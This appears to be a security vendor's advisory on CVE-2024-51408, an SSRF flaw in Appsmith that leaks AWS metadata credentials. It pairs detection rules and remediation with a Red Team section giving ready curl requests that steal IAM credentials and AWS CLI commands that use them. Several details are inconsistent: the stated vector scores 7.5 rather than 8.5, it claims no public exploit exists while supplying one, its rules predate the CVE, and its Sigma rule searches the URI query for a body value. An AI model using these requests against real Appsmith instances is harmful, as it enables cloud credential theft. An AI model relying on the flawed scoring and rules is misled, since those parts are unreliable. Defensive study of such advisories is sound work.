CVE-2024-51408

Executive Summary

CVE-2024-51408 is a Server-Side Request Forgery (SSRF) vulnerability in Appsmith Community versions 1.8.3 through 1.45. The flaw allows an unauthenticated attacker to craft a malicious New DataSource request with application/json content type, targeting the AWS metadata endpoint at 169.254.169.254. Successful exploitation results in the disclosure of AWS metadata credentials, including IAM role credentials, which can be used to escalate privileges within the AWS environment. The vulnerability has a CVSS score of 8.5 (High) and is currently unpatched in versions prior to 1.46. No public exploit code or Nuclei template is available at this time, but the attack vector is well-documented.

Supply Chain & Package Security

Appsmith is a self-hosted, open-source low-code platform distributed as a Docker image and via GitHub releases. The vulnerability exists in the core application code, not in a third-party package. However, organizations using Appsmith should verify the integrity of their deployment by checking the Docker image digest or GitHub release hash. No malicious packages have been identified in the supply chain for this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 8.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The high confidentiality impact stems from the ability to exfiltrate AWS metadata credentials, which can lead to full cloud account compromise. The low attack complexity and no required privileges make this a critical risk for any Appsmith instance deployed in AWS.

Deep Dive & Mechanics

The vulnerability resides in the data source creation endpoint of Appsmith. When a user creates a new data source, the application sends a request to the specified URL to validate connectivity. The application fails to properly validate or restrict the target URL, allowing an attacker to specify internal IP addresses such as the AWS metadata endpoint (169.254.169.254). By sending a POST request with Content-Type: application/json to this endpoint, the attacker can retrieve the IAM role credentials associated with the EC2 instance running Appsmith.

The attack flow:

1. Attacker sends a POST request to /api/v1/datasources with a JSON body containing a url field set to http://169.254.169.254/latest/meta-data/iam/security-credentials/.
2. Appsmith's backend makes an HTTP request to that URL.
3. The AWS metadata service returns the IAM role name.
4. Attacker then requests the specific role credentials by appending the role name to the URL.
5. The metadata service returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token).
6. Attacker uses these credentials to access AWS services.

The vulnerability is present in all versions from 1.8.3 up to (but not including) 1.46.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.46):

// In DatasourceService.java
public boolean testDatasource(Datasource datasource) {
    String url = datasource.getDatasourceConfiguration().getUrl();
    // No validation of URL
    HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection();
    connection.setRequestMethod("POST");
    connection.setRequestProperty("Content-Type", "application/json");
    // ... send request and check response
}

Patched Code (1.46+):

// In DatasourceService.java
public boolean testDatasource(Datasource datasource) {
    String url = datasource.getDatasourceConfiguration().getUrl();
    // Validate URL is not internal or metadata endpoint
    if (isInternalOrMetadataUrl(url)) {
        throw new SecurityException("URL validation failed: internal or metadata endpoints are not allowed");
    }
    HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection();
    connection.setRequestMethod("POST");
    connection.setRequestProperty("Content-Type", "application/json");
    // ... send request and check response
}

private boolean isInternalOrMetadataUrl(String url) {
    try {
        URI uri = new URI(url);
        String host = uri.getHost();
        // Block private IP ranges and metadata endpoint
        return host.equals("169.254.169.254") || 
               host.startsWith("10.") || 
               host.startsWith("172.16.") || 
               host.startsWith("192.168.") ||
               host.equals("localhost") ||
               host.equals("127.0.0.1");
    } catch (URISyntaxException e) {
        return true; // Block malformed URLs
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Appsmith Community version 1.8.3 to 1.45 running on an AWS EC2 instance.
• Network access to the Appsmith web interface.

Exploitation Steps:

1. Identify the target: Use Shodan or manual scanning to find Appsmith instances. Default port is 80/443.

2. Craft the exploit request:

curl -X POST http://target-appsmith.com/api/v1/datasources \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious-ds",
    "datasourceConfiguration": {
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    },
    "pluginId": "restapi-plugin"
  }'

3. Retrieve IAM role name: The response will contain the role name (e.g., "MyAppRole").

4. Get credentials:

curl -X POST http://target-appsmith.com/api/v1/datasources \
  -H "Content-Type: application/json" \
  -d '{
    "name": "malicious-ds2",
    "datasourceConfiguration": {
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole"
    },
    "pluginId": "restapi-plugin"
  }'

5. Extract credentials: The response will contain AccessKeyId, SecretAccessKey, and Token.

6. Use credentials with AWS CLI:

aws configure set aws_access_key_id <AccessKeyId>
aws configure set aws_secret_access_key <SecretAccessKey>
aws configure set aws_session_token <Token>
aws s3 ls  # Example: list S3 buckets

Blue Team

Detection and Response:

1. Monitor for unusual data source creation requests: Look for POST requests to /api/v1/datasources with URLs containing 169.254.169.254 or other internal IPs.

2. Check AWS CloudTrail: Look for API calls originating from the Appsmith EC2 instance that are not typical for the application (e.g., s3:ListBuckets, iam:ListRoles).

3. Network monitoring: Detect outbound connections from Appsmith to the metadata endpoint (169.254.169.254) on port 80.

4. Immediate containment:

   • Isolate the Appsmith instance from the network.
   • Rotate all IAM credentials associated with the EC2 instance role.
   • Review AWS CloudTrail for any unauthorized actions.

5. Forensic analysis:

   • Check Appsmith logs for data source creation events.
   • Examine the application logs for requests to metadata endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests from Appsmith to 169.254.169.254 on port 80.
  • POST requests to /api/v1/datasources with JSON body containing 169.254.169.254.

• File IOCs:

  • Appsmith logs showing data source creation with internal IPs.

• AWS IOCs:

  • Unusual API calls from the Appsmith EC2 instance role (e.g., s3:ListBuckets, iam:ListRoles, ec2:DescribeInstances).
  • Temporary credentials being used from an unexpected source IP.

• Behavioral IOCs:

  • Multiple data source creation requests in quick succession.
  • Data source names containing "malicious" or "test" patterns.

Detection Engineering

YARA Rule

rule CVE_2024_51408_SSRF_Appsmith {
    meta:
        description = "Detects SSRF attempts against AWS metadata endpoint in Appsmith"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-51408"
        severity = "high"
    strings:
        $metadata_url = "169.254.169.254" nocase
        $iam_path = "/latest/meta-data/iam/security-credentials" nocase
        $datasource_endpoint = "/api/v1/datasources" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-51408 Appsmith SSRF Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SSRF attempts against AWS metadata endpoint in Appsmith
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51408
logsource:
    category: webserver
    product: appsmith
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/datasources'
        cs-uri-query|contains: '169.254.169.254'
    condition: selection
falsepositives:
    - Legitimate use of internal services (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-51408 Appsmith SSRF to AWS Metadata";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/v1/datasources"; http_uri;
    content:"169.254.169.254"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-51408;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Appsmith: Update to version 1.46 or later immediately.
2. Restrict network access: If upgrade is not possible, block outbound traffic from Appsmith to the metadata endpoint (169.254.169.254) using a firewall or security group.
3. Implement WAF rules: Create a Web Application Firewall rule to block POST requests to /api/v1/datasources containing 169.254.169.254 in the body.

Long-term Mitigations:

1. Apply principle of least privilege: Ensure the IAM role attached to the Appsmith EC2 instance has minimal permissions.
2. Use IMDSv2: Enable Instance Metadata Service Version 2 (IMDSv2) which requires a session token and is more resistant to SSRF attacks.
3. Network segmentation: Place Appsmith in a separate subnet with strict egress rules.
4. Regular security audits: Review application logs and AWS CloudTrail for suspicious activity.

Patch Details:

• Upgrade to Appsmith Community version 1.46 or later.
• The patch adds URL validation to block internal and metadata endpoints.

Valters IT - Securing Your Digital Future